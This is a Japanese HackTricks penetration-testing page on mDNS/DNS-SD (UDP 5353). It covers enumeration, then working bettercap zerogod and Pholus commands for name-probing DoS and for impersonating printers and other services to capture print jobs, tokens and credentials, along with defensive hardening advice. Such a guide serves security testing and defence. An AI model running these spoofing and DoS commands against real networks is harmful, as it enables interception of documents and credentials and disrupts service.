5353/UDP マルチキャスト DNS (mDNS) と DNS-SD

Reading time: 11 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

マルチキャスト DNS (mDNS) は、ユニキャスト DNS サーバーなしでローカルリンク内で DNS のような名前解決とサービス発見を可能にします。これは UDP/5353 とマルチキャストアドレス 224.0.0.251 (IPv4) および FF02::FB (IPv6) を使用します。DNS サービス発見 (DNS-SD、通常 mDNS と共に使用される) は、PTR、SRV および TXT レコードを介してサービスを列挙し、説明するための標準化された方法を提供します。

PORT     STATE SERVICE
5353/udp open  zeroconf

攻撃中によく利用される主要なプロトコルの詳細:

  • .local ゾーン内の名前は mDNS を介して解決されます。
  • QU (Query Unicast) ビットは、マルチキャストの質問に対してもユニキャストの応答を要求する場合があります。
  • 実装は、ローカルリンクから発信されていないパケットを無視するべきですが、一部のスタックはそれらを受け入れます。
  • プロービング/アナウンスは、ユニークなホスト/サービス名を強制します。ここで干渉すると DoS/「名前の占有」条件が発生します。

DNS-SD サービスモデル

サービスは .local の下で _._tcp または _._udp として識別されます。例:_ipp._tcp.local (プリンター)、_airplay._tcp.local (AirPlay)、_adb._tcp.local (Android Debug Bridge) など。_services._dns-sd._udp.local でタイプを発見し、発見されたインスタンスを SRV/TXT/A/AAAA に解決します。

ネットワーク探索と列挙

  • nmap ターゲットスキャン (ホスト上の直接 mDNS):
bash
nmap -sU -p 5353 --script=dns-service-discovery <target>
  • nmap ブロードキャスト発見 (セグメントをリッスンし、すべての DNS-SD タイプ/インスタンスを列挙):
bash
sudo nmap --script=broadcast-dns-service-discovery
  • avahi-browse (Linux):
bash
# サービスタイプのリスト
avahi-browse -bt _services._dns-sd._udp
# すべてのサービスをブラウズし、ホスト/ポートに解決
avahi-browse -art
  • Apple dns-sd (macOS):
bash
# すべての HTTP サービスをブラウズ
dns-sd -B _http._tcp
# サービスタイプを列挙
dns-sd -B _services._dns-sd._udp
# 特定のインスタンスを SRV/TXT に解決
dns-sd -L "My Printer" _ipp._tcp local
  • tshark でのパケットキャプチャ:
bash
# ライブキャプチャ
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# DNS-SD サービスリストクエリのみ
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""

ヒント:一部のブラウザ/WebRTC は、ローカル IP をマスクするためにエフェメラル mDNS ホスト名を使用します。ワイヤ上で random-UUID.local の候補が見られた場合、mDNS で解決してローカル IP にピボットします。

攻撃

mDNS 名プロービング干渉 (DoS / 名前の占有)

プロービングフェーズ中、ホストは名前のユニーク性をチェックします。偽の競合で応答することで、新しい名前を選択させるか、失敗させることができます。これにより、サービスの登録や発見が遅れるか、妨げられる可能性があります。

Pholus の例:

bash
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000

サービスのスプーフィングとなりすまし (MitM)

広告されたDNS-SDサービス(プリンター、AirPlay、HTTP、ファイル共有)をなりすまし、クライアントをあなたに接続させる。これは特に以下の目的に役立ちます:

  • _ipp._tcpまたは_printer._tcpをスプーフィングして文書をキャプチャする。
  • クライアントをHTTP/HTTPSサービスに誘導し、トークン/クッキーを収集したり、ペイロードを配信したりする。
  • Windowsクライアントがスプーフィングされたサービスに対して認証を交渉する際に、NTLMリレー技術と組み合わせる。

bettercapのzerogodモジュール(mDNS/DNS-SDスプーファー/なりすまし):

bash
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"

# Show all services seen from a host
> zerogod.show 192.168.1.42

# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42

# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42

# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml

Also see generic LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay workflows:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

最近の実装問題に関するノート(エンゲージメント中のDoS/持続性に役立つ)

  • Avahi reachable-assertionおよびD-Busクラッシュバグ(2023)は、Linuxディストリビューション上でavahi-daemonを終了させる可能性があり(例:CVE-2023-38469..38473、CVE-2023-1981)、ターゲットホストでのサービス発見を再起動まで妨げます。
  • Cisco IOS XE Wireless LAN Controller mDNSゲートウェイDoS(2024、CVE-2024-20303)は、隣接する攻撃者が高いCPU負荷を引き起こし、APを切断させることを可能にします。VLAN間にmDNSゲートウェイがある場合、誤った形式または高レートのmDNSの下での安定性に注意してください。

防御的考慮事項とOPSEC

  • セグメント境界:セキュリティゾーン間で224.0.0.251/FF02::FBをルーティングしないでください。mDNSゲートウェイが明示的に必要な場合を除きます。発見をブリッジする必要がある場合は、ホワイトリストとレート制限を優先してください。
  • Windowsエンドポイント/サーバー:
  • mDNSによる名前解決を完全に無効にするには、レジストリ値を設定し、再起動します:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
  • 管理された環境では、Windows Defender Firewallの組み込み「mDNS (UDP-In)」ルールを無効にして(少なくともドメインプロファイルで)、インバウンドmDNS処理を防ぎつつ、ホーム/ローミング機能を保持します。
  • 新しいWindows 11ビルド/GPOテンプレートでは、「コンピュータの構成 > 管理用テンプレート > ネットワーク > DNSクライアント > マルチキャストDNS (mDNS) プロトコルの構成」を使用し、無効に設定します。
  • Linux(Avahi):
  • 不要な場合は公開を制限します:disable-publishing=yesを設定し、/etc/avahi/avahi-daemon.conf内のallow-interfaces= / deny-interfaces=でインターフェースを制限します。
  • check-response-ttl=yesを検討し、厳密に必要でない限りenable-reflector=yesを避けます。反射時にはreflect-filters=ホワイトリストを優先します。
  • macOS:特定のサブネットに対してBonjour発見が不要な場合、ホスト/ネットワークファイアウォールでインバウンドmDNSを制限します。
  • 監視:_services._dns-sd._udp.localクエリの異常な急増や重要なサービスのSRV/TXTの突然の変化に警告します。これらはスプーフィングやサービスのなりすましの指標です。

ツールのクイックリファレンス

  • nmap NSE: dns-service-discoveryおよびbroadcast-dns-service-discovery
  • Pholus: アクティブスキャン、逆mDNSスイープ、DoSおよびスプーフィングヘルパー。
bash
# パッシブスニッフ(タイムアウト秒)
sudo python3 pholus3.py <iface> -stimeout 60
# サービスタイプを列挙
sudo python3 pholus3.py <iface> -sscan
# 一般的なmDNSリクエストを送信
sudo python3 pholus3.py <iface> --request
# サブネットの逆mDNSスイープ
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
  • bettercap zerogod: mDNS/DNS-SDサービスを発見、保存、広告、なりすます(上記の例を参照)。

スプーフィング/MitM

このサービス上で実行できる最も興味深い攻撃は、クライアントと実際のサーバー間の通信でMitMを実行することです。機密ファイル(プリンターとの通信をMitM)や資格情報(Windows認証)を取得できる可能性があります。
詳細については確認してください:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする